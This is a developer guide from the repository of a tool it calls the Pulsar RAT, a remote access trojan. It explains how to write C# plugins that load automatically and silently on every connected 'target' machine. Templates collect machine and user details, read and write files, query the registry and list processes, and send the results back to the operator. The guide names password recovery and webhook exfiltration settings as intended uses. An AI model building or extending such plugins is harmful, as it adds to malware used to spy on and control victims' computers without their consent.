Files
PulsarK-main/Plugins/README.md
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

18 KiB

Pulsar Plugin System - Developer Guide

Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system.

📋 Table of Contents

Quick Start

What You Need

  • Visual Studio or VS Code with C# support
  • Basic C# knowledge (variables, methods, classes)
  • Most importantly, a brain

Plugin System Overview

  • Client Plugins: Run on the target machine (what we'll focus on)
  • Server Plugins: Run on the server (for UI and management)
  • Universal System: Works with any .NET Framework 4.7.2+ project

Plugin Types

0. Client-Only Auto Plugins (New)

  • Target a single assembly that implements IUniversalPlugin
  • Name the compiled DLL with a .Client.dll suffix (for example ActionPlugin.Client.dll) and drop it into Pulsar.Server/Plugins
  • Every connected client loads the plugin automatically without any server UI wiring
  • The plugin's Initialize method runs immediately after download, perfect for one-shot actions
  • Update the Version property when you publish a new build so clients receive the fresh copy
  • Optional: place a <PluginName>.init file next to your DLL to supply raw init data bytes

1. Server-Only Plugins (Run on server machine)

  • Add menu items to the server interface
  • Create custom server UI windows
  • Handle server-side data processing
  • Example: Custom client management tools, server utilities

2. Server-Client Plugins (Both components needed)

  • Server part: UI and menu integration
  • Client part: Actual work on target machine
  • Communication between server and client
  • Example: passwords recovery, etc

Important Terms Explained

Plugin State

  • IsComplete: Tells the system if your plugin is done working
  • _isRunning: Your own variable to track if plugin is busy
  • ShouldUnload: Tells system to remove plugin from memory when done

Plugin Lifecycle

  1. Initialize(): Called when plugin loads (setup code here)
  2. ExecuteCommand(): Called for each command from server
  3. IsComplete: Checked to see if plugin is done
  4. Cleanup(): Called when plugin is removed (cleanup code here)

PluginResult Properties

  • Success: Did the command work? (true/false)
  • Message: Status message for the server
  • Data: Raw data to send back (use Encoding.UTF8.GetBytes())
  • ShouldUnload: Remove plugin when this command finishes?

initData Parameter

  • What it is: Data sent from server to plugin when it loads
  • Common uses: Configuration, webhook URLs, file paths
  • How to use: string config = Encoding.UTF8.GetString(initData);

Creating Your First Plugin

Step 1: Create a New Project

  1. Open Visual Studio
  2. Create new Class Library (.NET Framework 4.7.2) project
  3. Name it something like MyFirstPlugin

Step 2: Copy the Template Code

Replace your Class1.cs with this template:

using System;
using System.Text;
using Pulsar.Client.Plugins;

namespace MyFirstPlugin
{
    public class MyFirstPlugin : IUniversalPlugin
    {
        // Plugin Information
        public string PluginId => "myfirstplugin";
        public string Version => "1.0";
        public string[] SupportedCommands => new[] { "hello", "info", "status" };
        
        // Plugin State
        private bool _isRunning = false;
        
        // Initialize the plugin
        public void Initialize(byte[] initData)
        {
            // This runs when the plugin is loaded
            // initData contains any data sent from the server
        }
        
        // Handle commands from the server
        public PluginResult ExecuteCommand(string command, byte[] parameters)
        {
            try
            {
                switch (command)
                {
                    case "hello":
                        return SayHello();
                        
                    case "info":
                        return GetSystemInfo();
                        
                    case "status":
                        return GetStatus();
                        
                    default:
                        return new PluginResult 
                        { 
                            Success = false, 
                            Message = "Unknown command" 
                        };
                }
            }
            catch (Exception ex)
            {
                return new PluginResult 
                { 
                    Success = false, 
                    Message = $"Error: {ex.Message}" 
                };
            }
        }
        
        // Check if plugin is done
        public bool IsComplete => !_isRunning;
        
        // Cleanup when plugin is unloaded
        public void Cleanup()
        {
            _isRunning = false;
        }
        
        // Your custom methods
        private PluginResult SayHello()
        {
            return new PluginResult 
            { 
                Success = true, 
                Message = "Hello from my first plugin!",
                ShouldUnload = true
            };
        }
        
        private PluginResult GetSystemInfo()
        {
            var info = new StringBuilder();
            info.AppendLine("=== System Information ===");
            info.AppendLine($"Computer: {Environment.MachineName}");
            info.AppendLine($"User: {Environment.UserName}");
            info.AppendLine($"OS: {Environment.OSVersion}");
            info.AppendLine($"Time: {DateTime.Now}");
            
            return new PluginResult 
            { 
                Success = true, 
                Message = "System info collected",
                Data = Encoding.UTF8.GetBytes(info.ToString()),
                ShouldUnload = true
            };
        }
        
        private PluginResult GetStatus()
        {
            return new PluginResult 
            { 
                Success = true, 
                Message = $"Plugin is running: {_isRunning}",
                ShouldUnload = false
            };
        }
    }
}

Step 3: Add Required References

Add these NuGet packages to your project:

  • MessagePack
  • Pulsar.Common

Step 4: Build Your Plugin

  1. Build your project in Release mode
  2. Copy the .dll file to the server's plugin directory
  3. Test it through the Pulsar server interface

🎨 Code Templates

Template 0: Auto-Loaded Message Box (Client Only)

using System;
using System.Runtime.InteropServices;
using System.Text;
using Pulsar.Common.Plugins;

namespace ActionPlugins
{
    public sealed class ActionPlugin : IUniversalPlugin
    {
        [DllImport("user32.dll", CharSet = CharSet.Unicode)]
        private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);

        public string PluginId => "actionplugin";
        public string Version => "1.0.0";
        public string[] SupportedCommands => Array.Empty<string>();

        public void Initialize(byte[] initData)
        {
            var message = initData is { Length: > 0 }
                ? Encoding.UTF8.GetString(initData)
                : "Action executed!";

            MessageBox(IntPtr.Zero, message, "Action Plugin", 0);
        }

        public PluginResult ExecuteCommand(string command, byte[] parameters)
        {
            return new PluginResult
            {
                Success = false,
                Message = "No commands supported",
                ShouldUnload = true
            };
        }

        public bool IsComplete => true;
        public void Cleanup() { }
    }
}

Compile the project as ActionPlugin.Client.dll (or any name ending in .Client.dll) and drop it into Pulsar.Server/Plugins. If you want to change the message at runtime, create a text file named ActionPlugin.Client.init next to the DLL containing the message body (UTF-8 encoded).

Template 1: Information Collector

public class InfoCollector : IUniversalPlugin
{
    public string PluginId => "infocollector";
    public string Version => "1.0";
    public string[] SupportedCommands => new[] { "collect" };
    
    public void Initialize(byte[] initData) { }
    
    public PluginResult ExecuteCommand(string command, byte[] parameters)
    {
        if (command == "collect")
        {
            var info = CollectInformation();
            return new PluginResult 
            { 
                Success = true, 
                Message = "Information collected",
                Data = Encoding.UTF8.GetBytes(info),
                ShouldUnload = true
            };
        }
        return new PluginResult { Success = false, Message = "Unknown command" };
    }
    
    public bool IsComplete => true;
    public void Cleanup() { }
    
    private string CollectInformation()
    {
        // Your information collection code here
        return "Collected information...";
    }
}

Template 2: Action Plugin

public class ActionPlugin : IUniversalPlugin
{
    public string PluginId => "actionplugin";
    public string Version => "1.0";
    public string[] SupportedCommands => new[] { "execute" };
    
    private bool _isExecuting = false;
    
    public void Initialize(byte[] initData) { }
    
    public PluginResult ExecuteCommand(string command, byte[] parameters)
    {
        if (command == "execute")
        {
            _isExecuting = true;
            var result = PerformAction();
            _isExecuting = false;
            
            return new PluginResult 
            { 
                Success = true, 
                Message = result,
                ShouldUnload = true
            };
        }
        return new PluginResult { Success = false, Message = "Unknown command" };
    }
    
    public bool IsComplete => !_isExecuting;
    public void Cleanup() { _isExecuting = false; }
    
    private string PerformAction()
    {
        // Your action code here
        return "Action completed successfully!";
    }
}

Template 3: Context Menu Client + Server Pair

This example ships a client plugin and hooks a context menu item on the server. When the menu item is clicked, each selected client displays a message box.

Server plugin (compile as ContextMenuMessage.Server.dll):

using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Windows.Forms;
using Pulsar.Server.Networking;
using Pulsar.Server.Plugins;

namespace ExamplePlugins.ContextMenu
{
    public sealed class ContextMenuServerPlugin : IServerPlugin
    {
        private string _pluginDirectory = string.Empty;

        public string Name => "Context Menu Message";
        public Version PluginVersion => new Version(1, 0, 0, 0);
        public string Author => "Example";
        public string Description => "Adds a context menu entry that shows a client-side message box.";
        public bool AutoLoadToClients => false;

        public void Initialize(IServerContext context)
        {
            _pluginDirectory = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) ?? AppDomain.CurrentDomain.BaseDirectory;

            context.AddClientContextMenuItem(new[] { "Examples" }, "Show Message", OnShowMessageClicked);
        }

        public void Dispose() { }

        private void OnShowMessageClicked(IReadOnlyList<Client> clients)
        {
            try
            {
                var clientAssemblyPath = Path.Combine(_pluginDirectory, "ContextMenuMessage.Client.dll");
                if (!File.Exists(clientAssemblyPath))
                {
                    MessageBox.Show("ContextMenuMessage.Client.dll not found next to the server plugin.", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                    return;
                }

                var assemblyBytes = File.ReadAllBytes(clientAssemblyPath);
                foreach (var client in clients)
                {
                    var pluginId = $"context.menu.message.{client.Id:N}";
                    PushSender.LoadUniversalPlugin(client, pluginId, assemblyBytes, Array.Empty<byte>(), "ExamplePlugins.ContextMenu.ContextMenuClientPlugin", "Initialize");
                }
            }
            catch (Exception ex)
            {
                MessageBox.Show($"Context menu plugin failed: {ex.Message}", "Context Menu Plugin", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
    }
}

Client plugin (compile as ContextMenuMessage.Client.dll):

using System;
using System.Runtime.InteropServices;
using Pulsar.Common.Plugins;

namespace ExamplePlugins.ContextMenu
{
    public sealed class ContextMenuClientPlugin : IUniversalPlugin
    {
        [DllImport("user32.dll", CharSet = CharSet.Unicode)]
        private static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);

        public string PluginId => "contextmenumessage";
        public string Version => "1.0.0";
        public string[] SupportedCommands => Array.Empty<string>();

        public void Initialize(byte[] initData)
        {
            MessageBox(IntPtr.Zero, "Hello from the context menu action!", "Context Menu Plugin", 0);
        }

        public PluginResult ExecuteCommand(string command, byte[] parameters)
        {
            return new PluginResult
            {
                Success = false,
                Message = "No commands supported",
                ShouldUnload = true
            };
        }

        public bool IsComplete => true;
        public void Cleanup() { }
    }
}

Place both DLLs in Pulsar.Server/Plugins. The client DLL must keep the .Client.dll suffix so Pulsar auto-dispatches it.

Template 4: Server-Only Message Box Plugin

using System;
using System.Windows.Forms;
using Pulsar.Server.Plugins;

namespace ExamplePlugins.ServerOnly
{
    public sealed class ServerHelloPlugin : IServerPlugin
    {
        public string Name => "Server Hello";
        public Version PluginVersion => new Version(1, 0, 0, 0);
        public string Author => "Example";
        public string Description => "Shows a message box when the plugin loads.";
        public bool AutoLoadToClients => false;

        public void Initialize(IServerContext context)
        {
            MessageBox.Show("Hello from the server plugin!", "Server Hello", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }

        public void Dispose() { }
    }
}


## 🔧 Advanced Features

### Working with Files
```csharp
private string ReadFile(string filePath)
{
    try
    {
        return File.ReadAllText(filePath);
    }
    catch (Exception ex)
    {
        return $"Error reading file: {ex.Message}";
    }
}

private bool WriteFile(string filePath, string content)
{
    try
    {
        File.WriteAllText(filePath, content);
        return true;
    }
    catch
    {
        return false;
    }
}

Working with Registry

private string GetRegistryValue(string keyPath, string valueName)
{
    try
    {
        using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(keyPath))
        {
            return key?.GetValue(valueName)?.ToString() ?? "Not found";
        }
    }
    catch
    {
        return "Error accessing registry";
    }
}

Working with Processes

private string GetRunningProcesses()
{
    var processes = Process.GetProcesses();
    var result = new StringBuilder();
    
    foreach (var process in processes.Take(10)) // Limit to first 10
    {
        result.AppendLine($"{process.ProcessName} (PID: {process.Id})");
    }
    
    return result.ToString();
}

Stuff good to know about

1. Error Handling

Always wrap your code in try-catch blocks:

try
{
    // Your code here
    return new PluginResult { Success = true, Message = "Success" };
}
catch (Exception ex)
{
    return new PluginResult { Success = false, Message = ex.Message };
}

2. Resource Management

Clean up resources in the Cleanup() method:

private HttpClient _httpClient;

public void Cleanup()
{
    _httpClient?.Dispose();
}

3. Memory Management

Use using statements for disposable objects:

using (var stream = new FileStream(path, FileMode.Open))
{
    // Use stream here
}

4. Plugin State

Use the IsComplete property to indicate when your plugin is done:

private bool _isProcessing = false;

public bool IsComplete => !_isProcessing;

Troubleshooting

Common Issues

1. "Plugin not found" error

  • Make sure your plugin implements IUniversalPlugin
  • Check that PluginId is unique
  • Verify the plugin is built in Release mode

2. "Command not supported" error

  • Add your command to the SupportedCommands array
  • Make sure the command name matches exactly (case-sensitive)

3. "Plugin crashes" error

  • Add try-catch blocks around your code
  • Check for null references
  • Use the Cleanup() method to reset state

4. "Data not received" error

  • Make sure to set Data property in PluginResult
  • Use Encoding.UTF8.GetBytes() for string data
  • Check that ShouldUnload is set correctly

Debug Tips

  1. Use the Message property to return status information
  2. Set ShouldUnload = true when your plugin is done
  3. Use the Data property to return large amounts of data
  4. Test your plugin with simple commands first

Need Help?

  1. Start simple with basic information collection
  2. Test frequently during development
  3. ask Do not ask me for help in t.me/PulsarPlugins , this project was a HEADACHE

You're Ready!

You now have everything you need to create powerful Pulsar plugins. Start with the simple templates and gradually work your way up to more complex plugins. Remember: start simple, test often, and have fun!


*Happy Plugin Development! (more like goodluck) *